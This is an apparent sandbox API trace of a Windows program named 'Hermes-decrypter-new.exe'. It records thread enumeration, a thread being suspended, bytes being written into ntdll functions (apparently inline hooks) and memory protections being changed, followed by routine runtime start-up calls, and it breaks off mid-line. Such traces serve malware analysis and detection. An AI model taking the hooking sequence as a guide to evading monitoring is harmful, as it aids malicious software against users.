[0271.602] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.603] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.604] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.604] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.605] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.606] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.606] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.607] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.608] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.608] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.609] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.610] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.610] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.611] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.612] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.612] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.613] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.614] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.615] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.616] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.616] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.617] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.617] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.618] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.619] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.620] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.620] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.621] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.622] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.622] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.623] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.624] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.624] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.625] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.626] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.627] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.627] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.628] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.629] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.629] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.630] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.631] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.631] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0271.842] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0xe24) returned 0x148 [0271.842] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x4) returned 0xe60a68 [0271.843] CloseHandle (hObject=0x14c) returned 1 [0271.843] SuspendThread (hThread=0x148) returned 0x0 [0271.844] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77260000 [0271.845] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe65708 [0271.845] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x17) returned 0xe604e0 [0271.847] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe658a0 [0271.847] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2800000 [0271.848] GetCurrentProcess () returned 0xffffffff [0271.848] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x2800005, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0271.848] GetCurrentProcess () returned 0xffffffff [0271.848] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x280000f, lpBuffer=0x19e938*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e938*, lpNumberOfBytesWritten=0x0) returned 1 [0271.848] GetCurrentProcess () returned 0xffffffff [0271.848] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x772d2210, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0271.849] GetCurrentProcess () returned 0xffffffff [0271.850] VirtualProtect (in: lpAddress=0x2800000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e974 | out: lpflOldProtect=0x19e974*=0x40) returned 1 [0271.850] GetCurrentProcess () returned 0xffffffff [0271.852] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0xc) returned 0xe65810 [0271.852] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x13) returned 0xe60500 [0271.854] RtlAllocateHeap (HeapHandle=0xe60000, Flags=0x0, Size=0x10) returned 0xe656d8 [0271.854] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2810000 [0271.854] GetCurrentProcess () returned 0xffffffff [0271.854] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x2810007, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0271.854] GetCurrentProcess () returned 0xffffffff [0271.854] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x2810013, lpBuffer=0x19e938*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e938*, lpNumberOfBytesWritten=0x0) returned 1 [0271.854] GetCurrentProcess () returned 0xffffffff [0271.854] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x7730a520, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0271.855] GetCurrentProcess () returned 0xffffffff [0271.856] GetCurrentProcess () returned 0xffffffff [0271.857] VirtualProtect (in: lpAddress=0x2810000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e974 | out: lpflOldProtect=0x19e974*=0x40) returned 1 [0271.857] GetCurrentProcess () returned 0xffffffff [0271.858] ResumeThread (hThread=0x148) returned 0x1 [0271.858] CloseHandle (hObject=0x148) returned 1 [0271.858] HeapFree (in: hHeap=0xe60000, dwFlags=0x0, lpMem=0xe60a68 | out: hHeap=0xe60000) returned 1 [0271.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x20, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x40) returned 0x0 [0271.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x2, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x4) returned 0x0 [0271.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x20, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x40) returned 0x0 [0271.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x20) returned 0x0 [0271.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff74 | out: lpSystemTimeAsFileTime=0x19ff74*(dwLowDateTime=0x1b9a8f95, dwHighDateTime=0x1d51252)) [0271.871] GetCurrentProcessId () returned 0xe08 [0271.871] GetCurrentThreadId () returned 0xe0c [0271.871] GetTickCount () returned 0x1369b [0271.871] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff6c | out: lpPerformanceCount=0x19ff6c*=7954849931) returned 1 [0271.871] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2b10000 [0271.872] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.872] GetProcAddress (hModule=0x77190000, lpProcName="FlsAlloc") returned 0x771a4ae0 [0271.872] GetProcAddress (hModule=0x77190000, lpProcName="FlsGetValue") returned 0x771a4b20 [0271.872] GetProcAddress (hModule=0x77190000, lpProcName="FlsSetValue") returned 0x771a4b40 [0271.873] GetProcAddress (hModule=0x77190000, lpProcName="FlsFree") returned 0x771a4b00 [0271.873] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.873] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.873] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.873] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.873] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.873] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.874] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.874] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.874] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.874] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.874] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.874] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.874] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.874] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.875] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.875] GetProcAddress (hModule=0x77190000, lpProcName="DecodePointer") returned 0x772c1ec0 [0271.875] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x214) returned 0x2b105a8 [0271.875] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.875] GetProcAddress (hModule=0x77190000, lpProcName="DecodePointer") returned 0x772c1ec0 [0271.876] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77190000 [0271.876] GetProcAddress (hModule=0x77190000, lpProcName="EncodePointer") returned 0x772c29e0 [0271.876] GetProcAddress (hModule=0x77190000, lpProcName="DecodePointer") returned 0x772c1ec0 [0271.876] GetCurrentThreadId () returned 0xe0c [0271.876] GetStartupInfoA (in: lpStartupInfo=0x19fee0 | out: lpStartupInfo=0x19fee0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\FD1HVy\\Hermes-decrypter-new.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0271.877] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x8, Size=0x800) returned 0x2b107c8 [0271.877] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0271.877] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0271.877] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0271.877] SetHandleCount (uNumber=0x20) returned 0x20 [0271.877] GetCommandLineA () returned="\"C:\\FD1HVy\\Hermes-decrypter-new.exe\" " [0271.877] GetEnvironmentStringsW () returned 0xd3a738* [0271.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410 [0271.877] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x582) returned 0x2b10fd0 [0271.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x2b10fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410 [0271.877] FreeEnvironmentStringsW (penv=0xd3a738) returned 1 [0271.877] GetLastError () returned 0x0 [0271.877] SetLastError (dwErrCode=0x0) [0271.878] GetLastError () returned 0x0 [0271.878] SetLastError (dwErrCode=0x0) [0271.878] GetLastError () returned 0x0 [0271.878] SetLastError (dwErrCode=0x0) [0271.878] GetACP () returned 0x4e4 [0271.878] RtlAllocateHeap (HeapHandle=0x2b10000, Flags=0x0, Size=0x220) returned 0x2b11560 [0271.878] GetLastError () returned 0x0 [0271.878] SetLastError (dwErrCode=0x0) [0271.878] IsValidCodePage (CodePage=0x4e4) returned 1 [0271.878] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fec0 | out: lpCPInfo=0x19fec0) returned 1 [0271.878] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f98c | out: lpCPInfo=0x19f98c) returned 1 [0271.878] GetLastError () returned 0x0 [0271.878] SetLastError (dwErrCode=0x0) [0271.878] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f91c | out: lpCharType=0x19f91c) returned 1 [0271.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0271.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒男AĀ") returned 256 [0271.878] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿߊ䧒男AĀ", cchSrc=256, lpCharType=0x19f9a0 | out: lpCharType=0x19f9a0) returned 1 [0271.879] GetLastError () returned 0x0 [0271.879] SetLastError (dwErrCode=0x0) [0271.879] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0271.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0271.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f6d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ") returned 256 [0271.879] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0271.879] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x19f4c8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0271.879] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19fca0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf6\xdc\x60\xc1\xd8\xfe\x19", lpUsedDefaultChar=0x0) returned 256 [0271.879] GetLastError () returned 0x0 [0271.879] SetLastError (dwErrCode=0x0) [0271.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0271.879] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ") returned 256 [0271.879] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0271.879] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x19f4e8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 